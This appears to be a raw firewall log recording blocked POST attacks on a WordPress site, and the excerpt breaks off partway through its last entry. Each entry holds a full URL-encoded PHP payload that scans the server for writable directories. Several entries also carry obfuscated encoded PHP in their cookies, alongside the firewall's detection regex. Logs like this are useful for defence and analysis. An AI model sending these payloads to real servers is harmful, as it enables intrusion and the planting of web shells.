["2026-05-12 16:20:03","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> yt:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrKDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:4400\n\nyt=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 16:20:03","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","60秒以内累计超过6次以上非法请求,封锁180秒","POST \/ HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrKDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:4400\n\nyt=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 16:21:00","65.254.93.202","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> UJ:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIHbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4400\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\n\nUJ=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 16:21:03","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Dk:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\ncontent-length:4400\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvETfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 